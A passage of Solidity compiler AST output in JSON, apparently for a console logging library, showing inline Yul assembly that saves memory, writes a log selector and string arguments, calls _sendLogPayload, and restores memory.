6:22","nodeType":"YulIdentifier","src":"137915:6:22"},{"name":"w","nativeSrc":"137923:1:22","nodeType":"YulIdentifier","src":"137923:1:22"}],"functionName":{"name":"byte","nativeSrc":"137910:4:22","nodeType":"YulIdentifier","src":"137910:4:22"},"nativeSrc":"137910:15:22","nodeType":"YulFunctionCall","src":"137910:15:22"}],"functionName":{"name":"iszero","nativeSrc":"137903:6:22","nodeType":"YulIdentifier","src":"137903:6:22"},"nativeSrc":"137903:23:22","nodeType":"YulFunctionCall","src":"137903:23:22"},"nativeSrc":"137900:36:22","nodeType":"YulIf","src":"137900:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"137855:6:22","nodeType":"YulIdentifier","src":"137855:6:22"},{"kind":"number","nativeSrc":"137863:4:22","nodeType":"YulLiteral","src":"137863:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"137852:2:22","nodeType":"YulIdentifier","src":"137852:2:22"},"nativeSrc":"137852:16:22","nodeType":"YulFunctionCall","src":"137852:16:22"},"nativeSrc":"137845:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"137869:28:22","nodeType":"YulBlock","src":"137869:28:22","statements":[{"nativeSrc":"137871:24:22","nodeType":"YulAssignment","src":"137871:24:22","value":{"arguments":[{"name":"length","nativeSrc":"137885:6:22","nodeType":"YulIdentifier","src":"137885:6:22"},{"kind":"number","nativeSrc":"137893:1:22","nodeType":"YulLiteral","src":"137893:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"137881:3:22","nodeType":"YulIdentifier","src":"137881:3:22"},"nativeSrc":"137881:14:22","nodeType":"YulFunctionCall","src":"137881:14:22"},"variableNames":[{"name":"length","nativeSrc":"137871:6:22","nodeType":"YulIdentifier","src":"137871:6:22"}]}]},"pre":{"nativeSrc":"137849:2:22","nodeType":"YulBlock","src":"137849:2:22","statements":[]},"src":"137845:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"137962:3:22","nodeType":"YulIdentifier","src":"137962:3:22"},{"name":"length","nativeSrc":"137967:6:22","nodeType":"YulIdentifier","src":"137967:6:22"}],"functionName":{"name":"mstore","nativeSrc":"137955:6:22","nodeType":"YulIdentifier","src":"137955:6:22"},"nativeSrc":"137955:19:22","nodeType":"YulFunctionCall","src":"137955:19:22"},"nativeSrc":"137955:19:22","nodeType":"YulExpressionStatement","src":"137955:19:22"},{"nativeSrc":"137991:37:22","nodeType":"YulVariableDeclaration","src":"137991:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"138008:3:22","nodeType":"YulLiteral","src":"138008:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"138017:1:22","nodeType":"YulLiteral","src":"138017:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"138020:6:22","nodeType":"YulIdentifier","src":"138020:6:22"}],"functionName":{"name":"shl","nativeSrc":"138013:3:22","nodeType":"YulIdentifier","src":"138013:3:22"},"nativeSrc":"138013:14:22","nodeType":"YulFunctionCall","src":"138013:14:22"}],"functionName":{"name":"sub","nativeSrc":"138004:3:22","nodeType":"YulIdentifier","src":"138004:3:22"},"nativeSrc":"138004:24:22","nodeType":"YulFunctionCall","src":"138004:24:22"},"variables":[{"name":"shift","nativeSrc":"137995:5:22","nodeType":"YulTypedName","src":"137995:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"138056:3:22","nodeType":"YulIdentifier","src":"138056:3:22"},{"kind":"number","nativeSrc":"138061:4:22","nodeType":"YulLiteral","src":"138061:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"138052:3:22","nodeType":"YulIdentifier","src":"138052:3:22"},"nativeSrc":"138052:14:22","nodeType":"YulFunctionCall","src":"138052:14:22"},{"arguments":[{"name":"shift","nativeSrc":"138072:5:22","nodeType":"YulIdentifier","src":"138072:5:22"},{"arguments":[{"name":"shift","nativeSrc":"138083:5:22","nodeType":"YulIdentifier","src":"138083:5:22"},{"name":"w","nativeSrc":"138090:1:22","nodeType":"YulIdentifier","src":"138090:1:22"}],"functionName":{"name":"shr","nativeSrc":"138079:3:22","nodeType":"YulIdentifier","src":"138079:3:22"},"nativeSrc":"138079:13:22","nodeType":"YulFunctionCall","src":"138079:13:22"}],"functionName":{"name":"shl","nativeSrc":"138068:3:22","nodeType":"YulIdentifier","src":"138068:3:22"},"nativeSrc":"138068:25:22","nodeType":"YulFunctionCall","src":"138068:25:22"}],"functionName":{"name":"mstore","nativeSrc":"138045:6:22","nodeType":"YulIdentifier","src":"138045:6:22"},"nativeSrc":"138045:49:22","nodeType":"YulFunctionCall","src":"138045:49:22"},"nativeSrc":"138045:49:22","nodeType":"YulExpressionStatement","src":"138045:49:22"}]},"name":"writeString","nativeSrc":"137766:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"137787:3:22","nodeType":"YulTypedName","src":"137787:3:22","type":""},{"name":"w","nativeSrc":"137792:1:22","nodeType":"YulTypedName","src":"137792:1:22","type":""}],"src":"137766:342:22"},{"nativeSrc":"138121:17:22","nodeType":"YulAssignment","src":"138121:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"138133:4:22","nodeType":"YulLiteral","src":"138133:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"138127:5:22","nodeType":"YulIdentifier","src":"138127:5:22"},"nativeSrc":"138127:11:22","nodeType":"YulFunctionCall","src":"138127:11:22"},"variableNames":[{"name":"m0","nativeSrc":"138121:2:22","nodeType":"YulIdentifier","src":"138121:2:22"}]},{"nativeSrc":"138151:17:22","nodeType":"YulAssignment","src":"138151:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"138163:4:22","nodeType":"YulLiteral","src":"138163:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"138157:5:22","nodeType":"YulIdentifier","src":"138157:5:22"},"nativeSrc":"138157:11:22","nodeType":"YulFunctionCall","src":"138157:11:22"},"variableNames":[{"name":"m1","nativeSrc":"138151:2:22","nodeType":"YulIdentifier","src":"138151:2:22"}]},{"nativeSrc":"138181:17:22","nodeType":"YulAssignment","src":"138181:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"138193:4:22","nodeType":"YulLiteral","src":"138193:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"138187:5:22","nodeType":"YulIdentifier","src":"138187:5:22"},"nativeSrc":"138187:11:22","nodeType":"YulFunctionCall","src":"138187:11:22"},"variableNames":[{"name":"m2","nativeSrc":"138181:2:22","nodeType":"YulIdentifier","src":"138181:2:22"}]},{"nativeSrc":"138211:17:22","nodeType":"YulAssignment","src":"138211:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"138223:4:22","nodeType":"YulLiteral","src":"138223:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"138217:5:22","nodeType":"YulIdentifier","src":"138217:5:22"},"nativeSrc":"138217:11:22","nodeType":"YulFunctionCall","src":"138217:11:22"},"variableNames":[{"name":"m3","nativeSrc":"138211:2:22","nodeType":"YulIdentifier","src":"138211:2:22"}]},{"nativeSrc":"138241:17:22","nodeType":"YulAssignment","src":"138241:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"138253:4:22","nodeType":"YulLiteral","src":"138253:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"138247:5:22","nodeType":"YulIdentifier","src":"138247:5:22"},"nativeSrc":"138247:11:22","nodeType":"YulFunctionCall","src":"138247:11:22"},"variableNames":[{"name":"m4","nativeSrc":"138241:2:22","nodeType":"YulIdentifier","src":"138241:2:22"}]},{"nativeSrc":"138271:17:22","nodeType":"YulAssignment","src":"138271:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"138283:4:22","nodeType":"YulLiteral","src":"138283:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"138277:5:22","nodeType":"YulIdentifier","src":"138277:5:22"},"nativeSrc":"138277:11:22","nodeType":"YulFunctionCall","src":"138277:11:22"},"variableNames":[{"name":"m5","nativeSrc":"138271:2:22","nodeType":"YulIdentifier","src":"138271:2:22"}]},{"nativeSrc":"138301:17:22","nodeType":"YulAssignment","src":"138301:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"138313:4:22","nodeType":"YulLiteral","src":"138313:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"138307:5:22","nodeType":"YulIdentifier","src":"138307:5:22"},"nativeSrc":"138307:11:22","nodeType":"YulFunctionCall","src":"138307:11:22"},"variableNames":[{"name":"m6","nativeSrc":"138301:2:22","nodeType":"YulIdentifier","src":"138301:2:22"}]},{"nativeSrc":"138331:17:22","nodeType":"YulAssignment","src":"138331:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"138343:4:22","nodeType":"YulLiteral","src":"138343:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"138337:5:22","nodeType":"YulIdentifier","src":"138337:5:22"},"nativeSrc":"138337:11:22","nodeType":"YulFunctionCall","src":"138337:11:22"},"variableNames":[{"name":"m7","nativeSrc":"138331:2:22","nodeType":"YulIdentifier","src":"138331:2:22"}]},{"nativeSrc":"138361:18:22","nodeType":"YulAssignment","src":"138361:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"138373:5:22","nodeType":"YulLiteral","src":"138373:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"138367:5:22","nodeType":"YulIdentifier","src":"138367:5:22"},"nativeSrc":"138367:12:22","nodeType":"YulFunctionCall","src":"138367:12:22"},"variableNames":[{"name":"m8","nativeSrc":"138361:2:22","nodeType":"YulIdentifier","src":"138361:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"138464:4:22","nodeType":"YulLiteral","src":"138464:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"138470:10:22","nodeType":"YulLiteral","src":"138470:10:22","type":"","value":"0xf7e36245"}],"functionName":{"name":"mstore","nativeSrc":"138457:6:22","nodeType":"YulIdentifier","src":"138457:6:22"},"nativeSrc":"138457:24:22","nodeType":"YulFunctionCall","src":"138457:24:22"},"nativeSrc":"138457:24:22","nodeType":"YulExpressionStatement","src":"138457:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"138501:4:22","nodeType":"YulLiteral","src":"138501:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"138507:2:22","nodeType":"YulIdentifier","src":"138507:2:22"}],"functionName":{"name":"mstore","nativeSrc":"138494:6:22","nodeType":"YulIdentifier","src":"138494:6:22"},"nativeSrc":"138494:16:22","nodeType":"YulFunctionCall","src":"138494:16:22"},"nativeSrc":"138494:16:22","nodeType":"YulExpressionStatement","src":"138494:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"138530:4:22","nodeType":"YulLiteral","src":"138530:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"138536:4:22","nodeType":"YulLiteral","src":"138536:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"138523:6:22","nodeType":"YulIdentifier","src":"138523:6:22"},"nativeSrc":"138523:18:22","nodeType":"YulFunctionCall","src":"138523:18:22"},"nativeSrc":"138523:18:22","nodeType":"YulExpressionStatement","src":"138523:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"138561:4:22","nodeType":"YulLiteral","src":"138561:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"138567:2:22","nodeType":"YulIdentifier","src":"138567:2:22"}],"functionName":{"name":"mstore","nativeSrc":"138554:6:22","nodeType":"YulIdentifier","src":"138554:6:22"},"nativeSrc":"138554:16:22","nodeType":"YulFunctionCall","src":"138554:16:22"},"nativeSrc":"138554:16:22","nodeType":"YulExpressionStatement","src":"138554:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"138590:4:22","nodeType":"YulLiteral","src":"138590:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"138596:4:22","nodeType":"YulLiteral","src":"138596:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"138583:6:22","nodeType":"YulIdentifier","src":"138583:6:22"},"nativeSrc":"138583:18:22","nodeType":"YulFunctionCall","src":"138583:18:22"},"nativeSrc":"138583:18:22","nodeType":"YulExpressionStatement","src":"138583:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"138626:4:22","nodeType":"YulLiteral","src":"138626:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"138632:2:22","nodeType":"YulIdentifier","src":"138632:2:22"}],"functionName":{"name":"writeString","nativeSrc":"138614:11:22","nodeType":"YulIdentifier","src":"138614:11:22"},"nativeSrc":"138614:21:22","nodeType":"YulFunctionCall","src":"138614:21:22"},"nativeSrc":"138614:21:22","nodeType":"YulExpressionStatement","src":"138614:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"138660:4:22","nodeType":"YulLiteral","src":"138660:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"138666:2:22","nodeType":"YulIdentifier","src":"138666:2:22"}],"functionName":{"name":"writeString","nativeSrc":"138648:11:22","nodeType":"YulIdentifier","src":"138648:11:22"},"nativeSrc":"138648:21:22","nodeType":"YulFunctionCall","src":"138648:21:22"},"nativeSrc":"138648:21:22","nodeType":"YulExpressionStatement","src":"138648:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38254,"isOffset":false,"isSlot":false,"src":"138121:2:22","valueSize":1},{"declaration":38257,"isOffset":false,"isSlot":false,"src":"138151:2:22","valueSize":1},{"declaration":38260,"isOffset":false,"isSlot":false,"src":"138181:2:22","valueSize":1},{"declaration":38263,"isOffset":false,"isSlot":false,"src":"138211:2:22","valueSize":1},{"declaration":38266,"isOffset":false,"isSlot":false,"src":"138241:2:22","valueSize":1},{"declaration":38269,"isOffset":false,"isSlot":false,"src":"138271:2:22","valueSize":1},{"declaration":38272,"isOffset":false,"isSlot":false,"src":"138301:2:22","valueSize":1},{"declaration":38275,"isOffset":false,"isSlot":false,"src":"138331:2:22","valueSize":1},{"declaration":38278,"isOffset":false,"isSlot":false,"src":"138361:2:22","valueSize":1},{"declaration":38244,"isOffset":false,"isSlot":false,"src":"138507:2:22","valueSize":1},{"declaration":38246,"isOffset":false,"isSlot":false,"src":"138632:2:22","valueSize":1},{"declaration":38248,"isOffset":false,"isSlot":false,"src":"138567:2:22","valueSize":1},{"declaration":38250,"isOffset":false,"isSlot":false,"src":"138666:2:22","valueSize":1}],"id":38280,"nodeType":"InlineAssembly","src":"137743:936:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":38282,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"138704:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":38283,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"138710:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":38281,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"138688:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":38284,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"138688:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":38285,"nodeType":"ExpressionStatement","src":"138688:28:22"},{"AST":{"nativeSrc":"138735:273:22","nodeType":"YulBlock","src":"138735:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"138756:4:22","nodeType":"YulLiteral","src":"138756:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"138762:2:22","nodeType":"YulIdentifier","src":"138762:2:22"}],"functionName":{"name":"mstore","nativeSrc":"138749:6:22","nodeType":"YulIdentifier","src":"138749:6:22"},"nativeSrc":"138749:16:22","nodeType":"YulFunctionCall","src":"138749:16:22"},"nativeSrc":"138749:16:22","nodeType":"YulExpressionStatement","src":"138749:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"138785:4:22","nodeType":"YulLiteral","src":"138785:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"138791:2:22","nodeType":"YulIdentifier","src":"138791:2:22"}],"functionName":{"name":"mstore","nativeSrc":"138778:6:22","nodeType":"YulIdentifier","src":"138778:6:22"},"nativeSrc":"138778:16:22","nodeType":"YulFunctionCall","src":"138778:16:22"},"nativeSrc":"138778:16:22","nodeType":"YulExpressionStatement","src":"138778:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"138814:4:22","nodeType":"YulLiteral","src":"138814:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"138820:2:22","nodeType":"YulIdentifier","src":"138820:2:22"}],"functionName":{"name":"mstore","nativeSrc":"138807:6:22","nodeType":"YulIdentifier","src":"138807:6:22"},"nativeSrc":"138807:16:22","nodeType":"YulFunctionCall","src":"138807:16:22"},"nativeSrc":"138807:16:22","nodeType":"YulExpressionStatement","src":"138807:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"138843:4:22","nodeType":"YulLiteral","src":"138843:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"138849:2:22","nodeType":"YulIdentifier","src":"138849:2:22"}],"functionName":{"name":"mstore","nativeSrc":"138836:6:22","nodeType":"YulIdentifier","src":"138836:6:22"},"nativeSrc":"138836:16:22","nodeType":"YulFunctionCall","src":"138836:16:22"},"nativeSrc":"138836:16:22","nodeType":"YulExpressionStatement","src":"138836:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"138872:4:22","nodeType":"YulLiteral","src":"138872:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"138878:2:22","nodeType":"YulIdentifier","src":"138878:2:22"}],"functionName":{"name":"mstore","nativeSrc":"138865:6:22","nodeType":"YulIdentifier","src":"138865:6:22"},"nativeSrc":"138865:16:22","nodeType":"YulFunctionCall","src":"138865:16:22"},"nativeSrc":"138865:16:22","nodeType":"YulExpressionStatement","src":"138865:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"138901:4:22","nodeType":"YulLiteral","src":"138901:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"138907:2:22","nodeType":"YulIdentifier","src":"138907:2:22"}],"functionName":{"name":"mstore","nativeSrc":"138894:6:22","nodeType":"YulIdentifier","src":"138894:6:22"},"nativeSrc":"138894:16:22","nodeType":"YulFunctionCall","src":"138894:16:22"},"nativeSrc":"138894:16:22","nodeType":"YulExpressionStatement","src":"138894:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"138930:4:22","nodeType":"YulLiteral","src":"138930:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"138936:2:22","nodeType":"YulIdentifier","src":"138936:2:22"}],"functionName":{"name":"mstore","nativeSrc":"138923:6:22","nodeType":"YulIdentifier","src":"138923:6:22"},"nativeSrc":"138923:16:22","nodeType":"YulFunctionCall","src":"138923:16:22"},"nativeSrc":"138923:16:22","nodeType":"YulExpressionStatement","src":"138923:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"138959:4:22","nodeType":"YulLiteral","src":"138959:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"138965:2:22","nodeType":"YulIdentifier","src":"138965:2:22"}],"functionName":{"name":"mstore","nativeSrc":"138952:6:22","nodeType":"YulIdentifier","src":"138952:6:22"},"nativeSrc":"138952:16:22","nodeType":"YulFunctionCall","src":"138952:16:22"},"nativeSrc":"138952:16:22","nodeType":"YulExpressionStatement","src":"138952:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"138988:5:22","nodeType":"YulLiteral","src":"138988:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"138995:2:22","nodeType":"YulIdentifier","src":"138995:2:22"}],"functionName":{"name":"mstore","nativeSrc":"138981:6:22","nodeType":"YulIdentifier","src":"138981:6:22"},"nativeSrc":"138981:17:22","nodeType":"YulFunctionCall","src":"138981:17:22"},"nativeSrc":"138981:17:22","nodeType":"YulExpressionStatement","src":"138981:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38254,"isOffset":false,"isSlot":false,"src":"138762:2:22","valueSize":1},{"declaration":38257,"isOffset":false,"isSlot":false,"src":"138791:2:22","valueSize":1},{"declaration":38260,"isOffset":false,"isSlot":false,"src":"138820:2:22","valueSize":1},{"declaration":38263,"isOffset":false,"isSlot":false,"src":"138849:2:22","valueSize":1},{"declaration":38266,"isOffset":false,"isSlot":false,"src":"138878:2:22","valueSize":1},{"declaration":38269,"isOffset":false,"isSlot":false,"src":"138907:2:22","valueSize":1},{"declaration":38272,"isOffset":false,"isSlot":false,"src":"138936:2:22","valueSize":1},{"declaration":38275,"isOffset":false,"isSlot":false,"src":"138965:2:22","valueSize":1},{"declaration":38278,"isOffset":false,"isSlot":false,"src":"138995:2:22","valueSize":1}],"id":38286,"nodeType":"InlineAssembly","src":"138726:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"137487:3:22","parameters":{"id":38251,"nodeType":"ParameterList","parameters":[{"constant":false,"id":38244,"mutability":"mutable","name":"p0","nameLocation":"137499:2:22","nodeType":"VariableDeclaration","scope":38288,"src":"137491:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38243,"name":"address","nodeType":"ElementaryTypeName","src":"137491:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38246,"mutability":"mutable","name":"p1","nameLocation":"137511:2:22","nodeType":"VariableDeclaration","scope":38288,"src":"137503:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38245,"name":"bytes32","nodeType":"ElementaryTypeName","src":"137503:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":38248,"mutability":"mutable","name":"p2","nameLocation":"137523:2:22","nodeType":"VariableDeclaration","scope":38288,"src":"137515:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38247,"name":"address","nodeType":"ElementaryTypeName","src":"137515:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38250,"mutability":"mutable","name":"p3","nameLocation":"137535:2:22","nodeType":"VariableDeclaration","scope":38288,"src":"137527:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38249,"name":"bytes32","nodeType":"ElementaryTypeName","src":"137527:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"137490:48:22"},"returnParameters":{"id":38252,"nodeType":"ParameterList","parameters":[],"src":"137553:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":38328,"nodeType":"FunctionDefinition","src":"139020:1334:22","nodes":[],"body":{"id":38327,"nodeType":"Block","src":"139092:1262:22","nodes":[],"statements":[{"assignments":[38300],"declarations":[{"constant":false,"id":38300,"mutability":"mutable","name":"m0","nameLocation":"139110:2:22","nodeType":"VariableDeclaration","scope":38327,"src":"139102:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38299,"name":"bytes32","nodeType":"ElementaryTypeName","src":"139102:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38301,"nodeType":"VariableDeclarationStatement","src":"139102:10:22"},{"assignments":[38303],"declarations":[{"constant":false,"id":38303,"mutability":"mutable","name":"m1","nameLocation":"139130:2:22","nodeType":"VariableDeclaration","scope":38327,"src":"139122:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38302,"name":"bytes32","nodeType":"ElementaryTypeName","src":"139122:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38304,"nodeType":"VariableDeclarationStatement","src":"139122:10:22"},{"assignments":[38306],"declarations":[{"constant":false,"id":38306,"mutability":"mutable","name":"m2","nameLocation":"139150:2:22","nodeType":"VariableDeclaration","scope":38327,"src":"139142:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38305,"name":"bytes32","nodeType":"ElementaryTypeName","src":"139142:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38307,"nodeType":"VariableDeclarationStatement","src":"139142:10:22"},{"assignments":[38309],"declarations":[{"constant":false,"id":38309,"mutability":"mutable","name":"m3","nameLocation":"139170:2:22","nodeType":"VariableDeclaration","scope":38327,"src":"139162:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38308,"name":"bytes32","nodeType":"ElementaryTypeName","src":"139162:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38310,"nodeType":"VariableDeclarationStatement","src":"139162:10:22"},{"assignments":[38312],"declarations":[{"constant":false,"id":38312,"mutability":"mutable","name":"m4","nameLocation":"139190:2:22","nodeType":"VariableDeclaration","scope":38327,"src":"139182:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38311,"name":"bytes32","nodeType":"ElementaryTypeName","src":"139182:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38313,"nodeType":"VariableDeclarationStatement","src":"139182:10:22"},{"assignments":[38315],"declarations":[{"constant":false,"id":38315,"mutability":"mutable","name":"m5","nameLocation":"139210:2:22","nodeType":"VariableDeclaration","scope":38327,"src":"139202:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38314,"name":"bytes32","nodeType":"ElementaryTypeName","src":"139202:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38316,"nodeType":"VariableDeclarationStatement","src":"139202:10:22"},{"assignments":[38318],"declarations":[{"constant":false,"id":38318,"mutability":"mutable","name":"m6","nameLocation":"139230:2:22","nodeType":"VariableDeclaration","scope":38327,"src":"139222:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38317,"name":"bytes32","nodeType":"ElementaryTypeName","src":"139222:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38319,"nodeType":"VariableDeclarationStatement","src":"139222:10:22"},{"AST":{"nativeSrc":"139251:828:22","nodeType":"YulBlock","src":"139251:828:22","statements":[{"body":{"nativeSrc":"139294:313:22","nodeType":"YulBlock","src":"139294:313:22","statements":[{"nativeSrc":"139312:15:22","nodeType":"YulVariableDeclaration","src":"139312:15:22","value":{"kind":"number","nativeSrc":"139326:1:22","nodeType":"YulLiteral","src":"139326:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"139316:6:22","nodeType":"YulTypedName","src":"139316:6:22","type":""}]},{"body":{"nativeSrc":"139397:40:22","nodeType":"YulBlock","src":"139397:40:22","statements":[{"body":{"nativeSrc":"139426:9:22","nodeType":"YulBlock","src":"139426:9:22","statements":[{"nativeSrc":"139428:5:22","nodeType":"YulBreak","src":"139428:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"139414:6:22","nodeType":"YulIdentifier","src":"139414:6:22"},{"name":"w","nativeSrc":"139422:1:22","nodeType":"YulIdentifier","src":"139422:1:22"}],"functionName":{"name":"byte","nativeSrc":"139409:4:22","nodeType":"YulIdentifier","src":"139409:4:22"},"nativeSrc":"139409:15:22","nodeType":"YulFunctionCall","src":"139409:15:22"}],"functionName":{"name":"iszero","nativeSrc":"139402:6:22","nodeType":"YulIdentifier","src":"139402:6:22"},"nativeSrc":"139402:23:22","nodeType":"YulFunctionCall","src":"139402:23:22"},"nativeSrc":"139399:36:22","nodeType":"YulIf","src":"139399:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"139354:6:22","nodeType":"YulIdentifier","src":"139354:6:22"},{"kind":"number","nativeSrc":"139362:4:22","nodeType":"YulLiteral","src":"139362:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"139351:2:22","nodeType":"YulIdentifier","src":"139351:2:22"},"nativeSrc":"139351:16:22","nodeType":"YulFunctionCall","src":"139351:16:22"},"nativeSrc":"139344:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"139368:28:22","nodeType":"YulBlock","src":"139368:28:22","statements":[{"nativeSrc":"139370:24:22","nodeType":"YulAssignment","src":"139370:24:22","value":{"arguments":[{"name":"length","nativeSrc":"139384:6:22","nodeT